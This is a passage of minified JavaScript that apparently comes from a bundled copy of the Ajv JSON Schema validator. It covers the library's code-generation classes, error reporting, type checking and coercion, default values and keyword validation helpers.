s{constructor(E){super(),this.label=E,this.names={}}render({_n:E}){return`break${this.label?` ${this.label}`:""};`+E}}class d extends s{constructor(E){super(),this.error=E}render({_n:E}){return`throw ${this.error};`+E}get names(){return this.error.names}}class f extends s{constructor(E){super(),this.code=E}render({_n:E}){return`${this.code};`+E}optimizeNodes(){return`${this.code}`?this:void 0}optimizeNames(E,k){return this.code=N(this.code,E,k),this}get names(){return this.code instanceof e._CodeOrName?this.code.names:{}}}class m extends s{constructor(E=[]){super(),this.nodes=E}render(E){return this.nodes.reduce((k,M)=>k+M.render(E),"")}optimizeNodes(){let{nodes:E}=this,k=E.length;for(;k--;){let M=E[k].optimizeNodes();Array.isArray(M)?E.splice(k,1,...M):M?E[k]=M:E.splice(k,1)}return E.length>0?this:void 0}optimizeNames(E,k){let{nodes:M}=this,X=M.length;for(;X--;){let Y=M[X];Y.optimizeNames(E,k)||(G(E,Y.names),M.splice(X,1))}return M.length>0?this:void 0}get names(){return this.nodes.reduce((E,k)=>q(E,k.names),{})}}class g extends m{render(E){return"{"+E._n+super.render(E)+"}"+E._n}}class b extends m{}class p extends g{}p.kind="else";class h extends g{constructor(E,k){super(k),this.condition=E}render(E){let k=`if(${this.condition})`+super.render(E);return this.else&&(k+="else "+this.else.render(E)),k}optimizeNodes(){super.optimizeNodes();let E=this.condition;if(E===!0)return this.nodes;let k=this.else;if(k){let M=k.optimizeNodes();k=this.else=Array.isArray(M)?new p(M):M}if(k)return E===!1?k instanceof h?k:k.nodes:this.nodes.length?this:new h(te(E),k instanceof h?[k]:k.nodes);if(!(E===!1||!this.nodes.length))return this}optimizeNames(E,k){var M;if(this.else=(M=this.else)===null||M===void 0?void 0:M.optimizeNames(E,k),!!(super.optimizeNames(E,k)||this.else))return this.condition=N(this.condition,E,k),this}get names(){let E=super.names;return U(E,this.condition),this.else&&q(E,this.else.names),E}}h.kind="if";class y extends g{}y.kind="for";class v extends y{constructor(E){super(),this.iteration=E}render(E){return`for(${this.iteration})`+super.render(E)}optimizeNames(E,k){if(super.optimizeNames(E,k))return this.iteration=N(this.iteration,E,k),this}get names(){return q(super.names,this.iteration.names)}}class _ extends y{constructor(E,k,M,X){super(),this.varKind=E,this.name=k,this.from=M,this.to=X}render(E){let k=E.es5?r.varKinds.var:this.varKind,{name:M,from:X,to:Y}=this;return`for(${k} ${M}=${X}; ${M}<${Y}; ${M}++)`+super.render(E)}get names(){let E=U(super.names,this.from);return U(E,this.to)}}class S extends y{constructor(E,k,M,X){super(),this.loop=E,this.varKind=k,this.name=M,this.iterable=X}render(E){return`for(${this.varKind} ${this.name} ${this.loop} ${this.iterable})`+super.render(E)}optimizeNames(E,k){if(super.optimizeNames(E,k))return this.iterable=N(this.iterable,E,k),this}get names(){return q(super.names,this.iterable.names)}}class x extends g{constructor(E,k,M){super(),this.name=E,this.args=k,this.async=M}render(E){return`${this.async?"async ":""}function ${this.name}(${this.args})`+super.render(E)}}x.kind="func";class w extends m{render(E){return"return "+super.render(E)}}w.kind="return";class T extends g{render(E){let k="try"+super.render(E);return this.catch&&(k+=this.catch.render(E)),this.finally&&(k+=this.finally.render(E)),k}optimizeNodes(){var E,k;return super.optimizeNodes(),(E=this.catch)===null||E===void 0||E.optimizeNodes(),(k=this.finally)===null||k===void 0||k.optimizeNodes(),this}optimizeNames(E,k){var M,X;return super.optimizeNames(E,k),(M=this.catch)===null||M===void 0||M.optimizeNames(E,k),(X=this.finally)===null||X===void 0||X.optimizeNames(E,k),this}get names(){let E=super.names;return this.catch&&q(E,this.catch.names),this.finally&&q(E,this.finally.names),E}}class R extends g{constructor(E){super(),this.error=E}render(E){return`catch(${this.error})`+super.render(E)}}R.kind="catch";class A extends g{render(E){return"finally"+super.render(E)}}A.kind="finally";class j{constructor(E,k={}){this._values={},this._blockStarts=[],this._constants={},this.opts={...k,_n:k.lines?` -`:""},this._extScope=E,this._scope=new r.Scope({parent:E}),this._nodes=[new b]}toString(){return this._root.render(this.opts)}name(E){return this._scope.name(E)}scopeName(E){return this._extScope.name(E)}scopeValue(E,k){let M=this._extScope.value(E,k);return(this._values[M.prefix]||(this._values[M.prefix]=new Set)).add(M),M}getScopeValue(E,k){return this._extScope.getValue(E,k)}scopeRefs(E){return this._extScope.scopeRefs(E,this._values)}scopeCode(){return this._extScope.scopeCode(this._values)}_def(E,k,M,X){let Y=this._scope.toName(k);return M!==void 0&&X&&(this._constants[Y.str]=M),this._leafNode(new i(E,Y,M)),Y}const(E,k,M){return this._def(r.varKinds.const,E,k,M)}let(E,k,M){return this._def(r.varKinds.let,E,k,M)}var(E,k,M){return this._def(r.varKinds.var,E,k,M)}assign(E,k,M){return this._leafNode(new o(E,k,M))}add(E,k){return this._leafNode(new c(E,t.operators.ADD,k))}code(E){return typeof E=="function"?E():E!==e.nil&&this._leafNode(new f(E)),this}object(...E){let k=["{"];for(let[M,X]of E)k.length>1&&k.push(","),k.push(M),(M!==X||this.opts.es5)&&(k.push(":"),(0,e.addCodeArg)(k,X));return k.push("}"),new e._Code(k)}if(E,k,M){if(this._blockNode(new h(E)),k&&M)this.code(k).else().code(M).endIf();else if(k)this.code(k).endIf();else if(M)throw new Error('CodeGen: "else" body without "then" body');return this}elseIf(E){return this._elseNode(new h(E))}else(){return this._elseNode(new p)}endIf(){return this._endBlockNode(h,p)}_for(E,k){return this._blockNode(E),k&&this.code(k).endFor(),this}for(E,k){return this._for(new v(E),k)}forRange(E,k,M,X,Y=this.opts.es5?r.varKinds.var:r.varKinds.let){let de=this._scope.toName(E);return this._for(new _(Y,de,k,M),()=>X(de))}forOf(E,k,M,X=r.varKinds.const){let Y=this._scope.toName(E);if(this.opts.es5){let de=k instanceof e.Name?k:this.var("_arr",k);return this.forRange("_i",0,(0,e._)`${de}.length`,ie=>{this.var(Y,(0,e._)`${de}[${ie}]`),M(Y)})}return this._for(new S("of",X,Y,k),()=>M(Y))}forIn(E,k,M,X=this.opts.es5?r.varKinds.var:r.varKinds.const){if(this.opts.ownProperties)return this.forOf(E,(0,e._)`Object.keys(${k})`,M);let Y=this._scope.toName(E);return this._for(new S("in",X,Y,k),()=>M(Y))}endFor(){return this._endBlockNode(y)}label(E){return this._leafNode(new u(E))}break(E){return this._leafNode(new l(E))}return(E){let k=new w;if(this._blockNode(k),this.code(E),k.nodes.length!==1)throw new Error('CodeGen: "return" should have one node');return this._endBlockNode(w)}try(E,k,M){if(!k&&!M)throw new Error('CodeGen: "try" without "catch" and "finally"');let X=new T;if(this._blockNode(X),this.code(E),k){let Y=this.name("e");this._currNode=X.catch=new R(Y),k(Y)}return M&&(this._currNode=X.finally=new A,this.code(M)),this._endBlockNode(R,A)}throw(E){return this._leafNode(new d(E))}block(E,k){return this._blockStarts.push(this._nodes.length),E&&this.code(E).endBlock(k),this}endBlock(E){let k=this._blockStarts.pop();if(k===void 0)throw new Error("CodeGen: not in self-balancing block");let M=this._nodes.length-k;if(M<0||E!==void 0&&M!==E)throw new Error(`CodeGen: wrong number of nodes: ${M} vs ${E} expected`);return this._nodes.length=k,this}func(E,k=e.nil,M,X){return this._blockNode(new x(E,k,M)),X&&this.code(X).endFunc(),this}endFunc(){return this._endBlockNode(x)}optimize(E=1){for(;E-- >0;)this._root.optimizeNodes(),this._root.optimizeNames(this._root.names,this._constants)}_leafNode(E){return this._currNode.nodes.push(E),this}_blockNode(E){this._currNode.nodes.push(E),this._nodes.push(E)}_endBlockNode(E,k){let M=this._currNode;if(M instanceof E||k&&M instanceof k)return this._nodes.pop(),this;throw new Error(`CodeGen: not in block "${k?`${E.kind}/${k.kind}`:E.kind}"`)}_elseNode(E){let k=this._currNode;if(!(k instanceof h))throw new Error('CodeGen: "else" without "if"');return this._currNode=k.else=E,this}get _root(){return this._nodes[0]}get _currNode(){let E=this._nodes;return E[E.length-1]}set _currNode(E){let k=this._nodes;k[k.length-1]=E}}t.CodeGen=j;function q(C,E){for(let k in E)C[k]=(C[k]||0)+(E[k]||0);return C}function U(C,E){return E instanceof e._CodeOrName?q(C,E.names):C}function N(C,E,k){if(C instanceof e.Name)return M(C);if(!X(C))return C;return new e._Code(C._items.reduce((Y,de)=>(de instanceof e.Name&&(de=M(de)),de instanceof e._Code?Y.push(...de._items):Y.push(de),Y),[]));function M(Y){let de=k[Y.str];return de===void 0||E[Y.str]!==1?Y:(delete E[Y.str],de)}function X(Y){return Y instanceof e._Code&&Y._items.some(de=>de instanceof e.Name&&E[de.str]===1&&k[de.str]!==void 0)}}function G(C,E){for(let k in E)C[k]=(C[k]||0)-(E[k]||0)}function te(C){return typeof C=="boolean"||typeof C=="number"||C===null?!C:(0,e._)`!${L(C)}`}t.not=te;var ce=P(t.operators.AND);function le(...C){return C.reduce(ce)}t.and=le;var ne=P(t.operators.OR);function H(...C){return C.reduce(ne)}t.or=H;function P(C){return(E,k)=>E===e.nil?k:k===e.nil?E:(0,e._)`${L(E)} ${C} ${L(k)}`}function L(C){return C instanceof e.Name?C:(0,e._)`(${C})`}}),Xe=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.checkStrictMode=t.getErrorPath=t.Type=t.useFunc=t.setEvaluated=t.evaluatedPropsToName=t.mergeEvaluated=t.eachItem=t.unescapeJsonPointer=t.escapeJsonPointer=t.escapeFragment=t.unescapeFragment=t.schemaRefOrVal=t.schemaHasRulesButRef=t.schemaHasRules=t.checkUnknownRules=t.alwaysValidSchema=t.toHash=void 0;var e=Be(),r=Bu();function n(x){let w={};for(let T of x)w[T]=!0;return w}t.toHash=n;function a(x,w){return typeof w=="boolean"?w:Object.keys(w).length===0?!0:(s(x,w),!i(w,x.self.RULES.all))}t.alwaysValidSchema=a;function s(x,w=x.schema){let{opts:T,self:R}=x;if(!T.strictSchema||typeof w=="boolean")return;let A=R.RULES.keywords;for(let j in w)A[j]||S(x,`unknown keyword: "${j}"`)}t.checkUnknownRules=s;function i(x,w){if(typeof x=="boolean")return!x;for(let T in x)if(w[T])return!0;return!1}t.schemaHasRules=i;function o(x,w){if(typeof x=="boolean")return!x;for(let T in x)if(T!=="$ref"&&w.all[T])return!0;return!1}t.schemaHasRulesButRef=o;function c({topSchemaRef:x,schemaPath:w},T,R,A){if(!A){if(typeof T=="number"||typeof T=="boolean")return T;if(typeof T=="string")return(0,e._)`${T}`}return(0,e._)`${x}${w}${(0,e.getProperty)(R)}`}t.schemaRefOrVal=c;function u(x){return f(decodeURIComponent(x))}t.unescapeFragment=u;function l(x){return encodeURIComponent(d(x))}t.escapeFragment=l;function d(x){return typeof x=="number"?`${x}`:x.replace(/~/g,"~0").replace(/\//g,"~1")}t.escapeJsonPointer=d;function f(x){return x.replace(/~1/g,"/").replace(/~0/g,"~")}t.unescapeJsonPointer=f;function m(x,w){if(Array.isArray(x))for(let T of x)w(T);else w(x)}t.eachItem=m;function g({mergeNames:x,mergeToName:w,mergeValues:T,resultToName:R}){return(A,j,q,U)=>{let N=q===void 0?j:q instanceof e.Name?(j instanceof e.Name?x(A,j,q):w(A,j,q),q):j instanceof e.Name?(w(A,q,j),j):T(j,q);return U===e.Name&&!(N instanceof e.Name)?R(A,N):N}}t.mergeEvaluated={props:g({mergeNames:(x,w,T)=>x.if((0,e._)`${T} !== true && ${w} !== undefined`,()=>{x.if((0,e._)`${w} === true`,()=>x.assign(T,!0),()=>x.assign(T,(0,e._)`${T} || {}`).code((0,e._)`Object.assign(${T}, ${w})`))}),mergeToName:(x,w,T)=>x.if((0,e._)`${T} !== true`,()=>{w===!0?x.assign(T,!0):(x.assign(T,(0,e._)`${T} || {}`),p(x,T,w))}),mergeValues:(x,w)=>x===!0?!0:{...x,...w},resultToName:b}),items:g({mergeNames:(x,w,T)=>x.if((0,e._)`${T} !== true && ${w} !== undefined`,()=>x.assign(T,(0,e._)`${w} === true ? true : ${T} > ${w} ? ${T} : ${w}`)),mergeToName:(x,w,T)=>x.if((0,e._)`${T} !== true`,()=>x.assign(T,w===!0?!0:(0,e._)`${T} > ${w} ? ${T} : ${w}`)),mergeValues:(x,w)=>x===!0?!0:Math.max(x,w),resultToName:(x,w)=>x.var("items",w)})};function b(x,w){if(w===!0)return x.var("props",!0);let T=x.var("props",(0,e._)`{}`);return w!==void 0&&p(x,T,w),T}t.evaluatedPropsToName=b;function p(x,w,T){Object.keys(T).forEach(R=>x.assign((0,e._)`${w}${(0,e.getProperty)(R)}`,!0))}t.setEvaluated=p;var h={};function y(x,w){return x.scopeValue("func",{ref:w,code:h[w.code]||(h[w.code]=new r._Code(w.code))})}t.useFunc=y;var v;(function(x){x[x.Num=0]="Num",x[x.Str=1]="Str"})(v||(t.Type=v={}));function _(x,w,T){if(x instanceof e.Name){let R=w===v.Num;return T?R?(0,e._)`"[" + ${x} + "]"`:(0,e._)`"['" + ${x} + "']"`:R?(0,e._)`"/" + ${x}`:(0,e._)`"/" + ${x}.replace(/~/g, "~0").replace(/\\//g, "~1")`}return T?(0,e.getProperty)(x).toString():"/"+d(x)}t.getErrorPath=_;function S(x,w,T=x.opts.strictSchema){if(T){if(w=`strict mode: ${w}`,T===!0)throw new Error(w);x.self.logger.warn(w)}}t.checkStrictMode=S}),Ua=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r={data:new e.Name("data"),valCxt:new e.Name("valCxt"),instancePath:new e.Name("instancePath"),parentData:new e.Name("parentData"),parentDataProperty:new e.Name("parentDataProperty"),rootData:new e.Name("rootData"),dynamicAnchors:new e.Name("dynamicAnchors"),vErrors:new e.Name("vErrors"),errors:new e.Name("errors"),this:new e.Name("this"),self:new e.Name("self"),scope:new e.Name("scope"),json:new e.Name("json"),jsonPos:new e.Name("jsonPos"),jsonLen:new e.Name("jsonLen"),jsonPart:new e.Name("jsonPart")};t.default=r}),el=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.extendErrors=t.resetErrorsCount=t.reportExtraError=t.reportError=t.keyword$DataError=t.keywordError=void 0;var e=Be(),r=Xe(),n=Ua();t.keywordError={message:({keyword:p})=>(0,e.str)`must pass "${p}" keyword validation`},t.keyword$DataError={message:({keyword:p,schemaType:h})=>h?(0,e.str)`"${p}" keyword must be ${h} ($data)`:(0,e.str)`"${p}" keyword is invalid ($data)`};function a(p,h=t.keywordError,y,v){let{it:_}=p,{gen:S,compositeRule:x,allErrors:w}=_,T=d(p,h,y);v??(x||w)?c(S,T):u(_,(0,e._)`[${T}]`)}t.reportError=a;function s(p,h=t.keywordError,y){let{it:v}=p,{gen:_,compositeRule:S,allErrors:x}=v,w=d(p,h,y);c(_,w),S||x||u(v,n.default.vErrors)}t.reportExtraError=s;function i(p,h){p.assign(n.default.errors,h),p.if((0,e._)`${n.default.vErrors} !== null`,()=>p.if(h,()=>p.assign((0,e._)`${n.default.vErrors}.length`,h),()=>p.assign(n.default.vErrors,null)))}t.resetErrorsCount=i;function o({gen:p,keyword:h,schemaValue:y,data:v,errsCount:_,it:S}){if(_===void 0)throw new Error("ajv implementation error");let x=p.name("err");p.forRange("i",_,n.default.errors,w=>{p.const(x,(0,e._)`${n.default.vErrors}[${w}]`),p.if((0,e._)`${x}.instancePath === undefined`,()=>p.assign((0,e._)`${x}.instancePath`,(0,e.strConcat)(n.default.instancePath,S.errorPath))),p.assign((0,e._)`${x}.schemaPath`,(0,e.str)`${S.errSchemaPath}/${h}`),S.opts.verbose&&(p.assign((0,e._)`${x}.schema`,y),p.assign((0,e._)`${x}.data`,v))})}t.extendErrors=o;function c(p,h){let y=p.const("err",h);p.if((0,e._)`${n.default.vErrors} === null`,()=>p.assign(n.default.vErrors,(0,e._)`[${y}]`),(0,e._)`${n.default.vErrors}.push(${y})`),p.code((0,e._)`${n.default.errors}++`)}function u(p,h){let{gen:y,validateName:v,schemaEnv:_}=p;_.$async?y.throw((0,e._)`new ${p.ValidationError}(${h})`):(y.assign((0,e._)`${v}.errors`,h),y.return(!1))}var l={keyword:new e.Name("keyword"),schemaPath:new e.Name("schemaPath"),params:new e.Name("params"),propertyName:new e.Name("propertyName"),message:new e.Name("message"),schema:new e.Name("schema"),parentSchema:new e.Name("parentSchema")};function d(p,h,y){let{createErrors:v}=p.it;return v===!1?(0,e._)`{}`:f(p,h,y)}function f(p,h,y={}){let{gen:v,it:_}=p,S=[m(_,y),g(p,y)];return b(p,h,S),v.object(...S)}function m({errorPath:p},{instancePath:h}){let y=h?(0,e.str)`${p}${(0,r.getErrorPath)(h,r.Type.Str)}`:p;return[n.default.instancePath,(0,e.strConcat)(n.default.instancePath,y)]}function g({keyword:p,it:{errSchemaPath:h}},{schemaPath:y,parentSchema:v}){let _=v?h:(0,e.str)`${h}/${p}`;return y&&(_=(0,e.str)`${_}${(0,r.getErrorPath)(y,r.Type.Str)}`),[l.schemaPath,_]}function b(p,{params:h,message:y},v){let{keyword:_,data:S,schemaValue:x,it:w}=p,{opts:T,propertyName:R,topSchemaRef:A,schemaPath:j}=w;v.push([l.keyword,_],[l.params,typeof h=="function"?h(p):h||(0,e._)`{}`]),T.messages&&v.push([l.message,typeof y=="function"?y(p):y]),T.verbose&&v.push([l.schema,x],[l.parentSchema,(0,e._)`${A}${j}`],[n.default.data,S]),R&&v.push([l.propertyName,R])}}),Z9=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.boolOrEmptySchema=t.topBoolOrEmptySchema=void 0;var e=el(),r=Be(),n=Ua(),a={message:"boolean schema is false"};function s(c){let{gen:u,schema:l,validateName:d}=c;l===!1?o(c,!1):typeof l=="object"&&l.$async===!0?u.return(n.default.data):(u.assign((0,r._)`${d}.errors`,null),u.return(!0))}t.topBoolOrEmptySchema=s;function i(c,u){let{gen:l,schema:d}=c;d===!1?(l.var(u,!1),o(c)):l.var(u,!0)}t.boolOrEmptySchema=i;function o(c,u){let{gen:l,data:d}=c,f={gen:l,keyword:"false schema",data:d,schema:!1,schemaCode:!1,schemaValue:!1,params:{},it:c};(0,e.reportError)(f,a,void 0,u)}}),M1=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.getRules=t.isJSONType=void 0;var e=["string","number","integer","boolean","null","object","array"],r=new Set(e);function n(s){return typeof s=="string"&&r.has(s)}t.isJSONType=n;function a(){let s={number:{type:"number",rules:[]},string:{type:"string",rules:[]},array:{type:"array",rules:[]},object:{type:"object",rules:[]}};return{types:{...s,integer:!0,boolean:!0,null:!0},rules:[{rules:[]},s.number,s.string,s.array,s.object],post:{rules:[]},all:{},keywords:{}}}t.getRules=a}),D1=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.shouldUseRule=t.shouldUseGroup=t.schemaHasRulesForType=void 0;function e({schema:a,self:s},i){let o=s.RULES.types[i];return o&&o!==!0&&r(a,o)}t.schemaHasRulesForType=e;function r(a,s){return s.rules.some(i=>n(a,i))}t.shouldUseGroup=r;function n(a,s){var i;return a[s.keyword]!==void 0||((i=s.definition.implements)===null||i===void 0?void 0:i.some(o=>a[o]!==void 0))}t.shouldUseRule=n}),Vu=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.reportTypeError=t.checkDataTypes=t.checkDataType=t.coerceAndCheckDataType=t.getJSONTypes=t.getSchemaTypes=t.DataType=void 0;var e=M1(),r=D1(),n=el(),a=Be(),s=Xe(),i;(function(v){v[v.Correct=0]="Correct",v[v.Wrong=1]="Wrong"})(i||(t.DataType=i={}));function o(v){let _=c(v.type);if(_.includes("null")){if(v.nullable===!1)throw new Error("type: null contradicts nullable: false")}else{if(!_.length&&v.nullable!==void 0)throw new Error('"nullable" cannot be used without "type"');v.nullable===!0&&_.push("null")}return _}t.getSchemaTypes=o;function c(v){let _=Array.isArray(v)?v:v?[v]:[];if(_.every(e.isJSONType))return _;throw new Error("type must be JSONType or JSONType[]: "+_.join(","))}t.getJSONTypes=c;function u(v,_){let{gen:S,data:x,opts:w}=v,T=d(_,w.coerceTypes),R=_.length>0&&!(T.length===0&&_.length===1&&(0,r.schemaHasRulesForType)(v,_[0]));if(R){let A=b(_,x,w.strictNumbers,i.Wrong);S.if(A,()=>{T.length?f(v,_,T):h(v)})}return R}t.coerceAndCheckDataType=u;var l=new Set(["string","number","integer","boolean","null"]);function d(v,_){return _?v.filter(S=>l.has(S)||_==="array"&&S==="array"):[]}function f(v,_,S){let{gen:x,data:w,opts:T}=v,R=x.let("dataType",(0,a._)`typeof ${w}`),A=x.let("coerced",(0,a._)`undefined`);T.coerceTypes==="array"&&x.if((0,a._)`${R} == 'object' && Array.isArray(${w}) && ${w}.length == 1`,()=>x.assign(w,(0,a._)`${w}[0]`).assign(R,(0,a._)`typeof ${w}`).if(b(_,w,T.strictNumbers),()=>x.assign(A,w))),x.if((0,a._)`${A} !== undefined`);for(let q of S)(l.has(q)||q==="array"&&T.coerceTypes==="array")&&j(q);x.else(),h(v),x.endIf(),x.if((0,a._)`${A} !== undefined`,()=>{x.assign(w,A),m(v,A)});function j(q){switch(q){case"string":x.elseIf((0,a._)`${R} == "number" || ${R} == "boolean"`).assign(A,(0,a._)`"" + ${w}`).elseIf((0,a._)`${w} === null`).assign(A,(0,a._)`""`);return;case"number":x.elseIf((0,a._)`${R} == "boolean" || ${w} === null - || (${R} == "string" && ${w} && ${w} == +${w})`).assign(A,(0,a._)`+${w}`);return;case"integer":x.elseIf((0,a._)`${R} === "boolean" || ${w} === null - || (${R} === "string" && ${w} && ${w} == +${w} && !(${w} % 1))`).assign(A,(0,a._)`+${w}`);return;case"boolean":x.elseIf((0,a._)`${w} === "false" || ${w} === 0 || ${w} === null`).assign(A,!1).elseIf((0,a._)`${w} === "true" || ${w} === 1`).assign(A,!0);return;case"null":x.elseIf((0,a._)`${w} === "" || ${w} === 0 || ${w} === false`),x.assign(A,null);return;case"array":x.elseIf((0,a._)`${R} === "string" || ${R} === "number" - || ${R} === "boolean" || ${w} === null`).assign(A,(0,a._)`[${w}]`)}}}function m({gen:v,parentData:_,parentDataProperty:S},x){v.if((0,a._)`${_} !== undefined`,()=>v.assign((0,a._)`${_}[${S}]`,x))}function g(v,_,S,x=i.Correct){let w=x===i.Correct?a.operators.EQ:a.operators.NEQ,T;switch(v){case"null":return(0,a._)`${_} ${w} null`;case"array":T=(0,a._)`Array.isArray(${_})`;break;case"object":T=(0,a._)`${_} && typeof ${_} == "object" && !Array.isArray(${_})`;break;case"integer":T=R((0,a._)`!(${_} % 1) && !isNaN(${_})`);break;case"number":T=R();break;default:return(0,a._)`typeof ${_} ${w} ${v}`}return x===i.Correct?T:(0,a.not)(T);function R(A=a.nil){return(0,a.and)((0,a._)`typeof ${_} == "number"`,A,S?(0,a._)`isFinite(${_})`:a.nil)}}t.checkDataType=g;function b(v,_,S,x){if(v.length===1)return g(v[0],_,S,x);let w,T=(0,s.toHash)(v);if(T.array&&T.object){let R=(0,a._)`typeof ${_} != "object"`;w=T.null?R:(0,a._)`!${_} || ${R}`,delete T.null,delete T.array,delete T.object}else w=a.nil;T.number&&delete T.integer;for(let R in T)w=(0,a.and)(w,g(R,_,S,x));return w}t.checkDataTypes=b;var p={message:({schema:v})=>`must be ${v}`,params:({schema:v,schemaValue:_})=>typeof v=="string"?(0,a._)`{type: ${v}}`:(0,a._)`{type: ${_}}`};function h(v){let _=y(v);(0,n.reportError)(_,p)}t.reportTypeError=h;function y(v){let{gen:_,data:S,schema:x}=v,w=(0,s.schemaRefOrVal)(v,x,"type");return{gen:_,keyword:"type",data:S,schema:x.type,schemaCode:w,schemaValue:w,parentSchema:x,params:{},it:v}}}),G9=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.assignDefaults=void 0;var e=Be(),r=Xe();function n(s,i){let{properties:o,items:c}=s.schema;if(i==="object"&&o)for(let u in o)a(s,u,o[u].default);else i==="array"&&Array.isArray(c)&&c.forEach((u,l)=>a(s,l,u.default))}t.assignDefaults=n;function a(s,i,o){let{gen:c,compositeRule:u,data:l,opts:d}=s;if(o===void 0)return;let f=(0,e._)`${l}${(0,e.getProperty)(i)}`;if(u){(0,r.checkStrictMode)(s,`default is ignored for: ${f}`);return}let m=(0,e._)`${f} === undefined`;d.useDefaults==="empty"&&(m=(0,e._)`${m} || ${f} === null || ${f} === ""`),c.if(m,(0,e._)`${f} = ${(0,e.stringify)(o)}`)}}),Dr=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.validateUnion=t.validateArray=t.usePattern=t.callValidateCode=t.schemaProperties=t.allSchemaProperties=t.noPropertyInData=t.propertyInData=t.isOwnProperty=t.hasPropFunc=t.reportMissingProp=t.checkMissingProp=t.checkReportMissingProp=void 0;var e=Be(),r=Xe(),n=Ua(),a=Xe();function s(v,_){let{gen:S,data:x,it:w}=v;S.if(d(S,x,_,w.opts.ownProperties),()=>{v.setParams({missingProperty:(0,e._)`${_}`},!0),v.error()})}t.checkReportMissingProp=s;function i({gen:v,data:_,it:{opts:S}},x,w){return(0,e.or)(...x.map(T=>(0,e.and)(d(v,_,T,S.ownProperties),(0,e._)`${w} = ${T}`)))}t.checkMissingProp=i;function o(v,_){v.setParams({missingProperty:_},!0),v.error()}t.reportMissingProp=o;function c(v){return v.scopeValue("func",{ref:Object.prototype.hasOwnProperty,code:(0,e._)`Object.prototype.hasOwnProperty`})}t.hasPropFunc=c;function u(v,_,S){return(0,e._)`${c(v)}.call(${_}, ${S})`}t.isOwnProperty=u;function l(v,_,S,x){let w=(0,e._)`${_}${(0,e.getProperty)(S)} !== undefined`;return x?(0,e._)`${w} && ${u(v,_,S)}`:w}t.propertyInData=l;function d(v,_,S,x){let w=(0,e._)`${_}${(0,e.getProperty)(S)} === undefined`;return x?(0,e.or)(w,(0,e.not)(u(v,_,S))):w}t.noPropertyInData=d;function f(v){return v?Object.keys(v).filter(_=>_!=="__proto__"):[]}t.allSchemaProperties=f;function m(v,_){return f(_).filter(S=>!(0,r.alwaysValidSchema)(v,_[S]))}t.schemaProperties=m;function g({schemaCode:v,data:_,it:{gen:S,topSchemaRef:x,schemaPath:w,errorPath:T},it:R},A,j,q){let U=q?(0,e._)`${v}, ${_}, ${x}${w}`:_,N=[[n.default.instancePath,(0,e.strConcat)(n.default.instancePath,T)],[n.default.parentData,R.parentData],[n.default.parentDataProperty,R.parentDataProperty],[n.default.rootData,n.default.rootData]];R.opts.dynamicRef&&N.push([n.default.dynamicAnchors,n.default.dynamicAnchors]);let G=(0,e._)`${U}, ${S.object(...N)}`;return j!==e.nil?(0,e._)`${A}.call(${j}, ${G})`:(0,e._)`${A}(${G})`}t.callValidateCode=g;var b=(0,e._)`new RegExp`;function p({gen:v,it:{opts:_}},S){let x=_.unicodeRegExp?"u":"",{regExp:w}=_.code,T=w(S,x);return v.scopeValue("pattern",{key:T.toString(),ref:T,code:(0,e._)`${w.code==="new RegExp"?b:(0,a.useFunc)(v,w)}(${S}, ${x})`})}t.usePattern=p;function h(v){let{gen:_,data:S,keyword:x,it:w}=v,T=_.name("valid");if(w.allErrors){let A=_.let("valid",!0);return R(()=>_.assign(A,!1)),A}return _.var(T,!0),R(()=>_.break()),T;function R(A){let j=_.const("len",(0,e._)`${S}.length`);_.forRange("i",0,j,q=>{v.subschema({keyword:x,dataProp:q,dataPropType:r.Type.Num},T),_.if((0,e.not)(T),A)})}}t.validateArray=h;function y(v){let{gen:_,schema:S,keyword:x,it:w}=v;if(!Array.isArray(S))throw new Error("ajv implementation error");if(S.some(j=>(0,r.alwaysValidSchema)(w,j))&&!w.opts.unevaluated)return;let R=_.let("valid",!1),A=_.name("_valid");_.block(()=>S.forEach((j,q)=>{let U=v.subschema({keyword:x,schemaProp:q,compositeRule:!0},A);_.assign(R,(0,e._)`${R} || ${A}`),v.mergeValidEvaluated(U,A)||_.if((0,e.not)(R))})),v.result(R,()=>v.reset(),()=>v.error(!0))}t.validateUnion=y}),K9=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.validateKeywordUsage=t.validSchemaType=t.funcKeywordCode=t.macroKeywordCode=void 0;var e=Be(),r=Ua(),n=Dr(),a=el();function s(m,g){let{gen:b,keyword:p,schema:h,parentSchema:y,it:v}=m,_=g.macro.call(v.self,h,y,v),S=l(b,p,_);v.opts.validateSchema!==!1&&v.self.validateSchema(_,!0);let x=b.name("valid");m.subschema({schema:_,schemaPath:e.nil,errSchemaPath:`${v.errSchemaPath}/${p}`,topSchemaRef:S,compositeRule:!0},x),m.pass(x,()=>m.error(!0))}t.macroKeywordCode=s;function i(m,g){var b;let{gen:p,keyword:h,schema:y,parentSchema:v,$data:_,it:S}=m;u(S,g);let x=!_&&g.compile?g.compile.call(S.self,y,v,S):g.validate,w=l(p,h,x),T=p.let("valid");m.block$data(T,R),m.ok((b=g.valid)!==null&&b!==void 0?b:T);function R(){if(g.errors===!1)q(),g.modifying&&o(m),U(()=>m.error());else{let N=g.async?A():j();g.modifying&&o(m),U(()=>c(m,N))}}function A(){let N=p.let("ruleErrs",null);return p.try(()=>q((0,e._)`await `),G=>p.assign(T,!1).if((0,e._)`${G} instanceof ${S.ValidationError}`,()=>p.assign(N,(0,e._)`${G}.errors`),()=>p.throw(G))),N}function j(){let N=(0,e._)`${w}.errors`;return p.assign(N,null),q(e.nil),N}function q(N=g.async?(0,e._)`await `:e.nil){let G=S.opts.passContext?r.default.this:r.default.self,te=!("compile"in g&&!_||g.schema===!1);p.assign(T,(0,e._)`${N}${(0,n.callValidateCode)(m,w,G,te)}`,g.modifying)}function U(N){var G;p.if((0,e.not)((G=g.valid)!==null&&G!==void 0?G:T),N)}}t.funcKeywordCode=i;function o(m){let{gen:g,data:b,it:p}=m;g.if(p.parentData,()=>g.assign(b,(0,e._)`${p.parentData}[${p.parentDataProperty}]`))}function c(m,g){let{gen:b}=m;b.if((0,e._)`Array.isArray(${g})`,()=>{b.assign(r.default.vErrors,(0,e._)`${r.default.vErrors} === null ? ${g} : 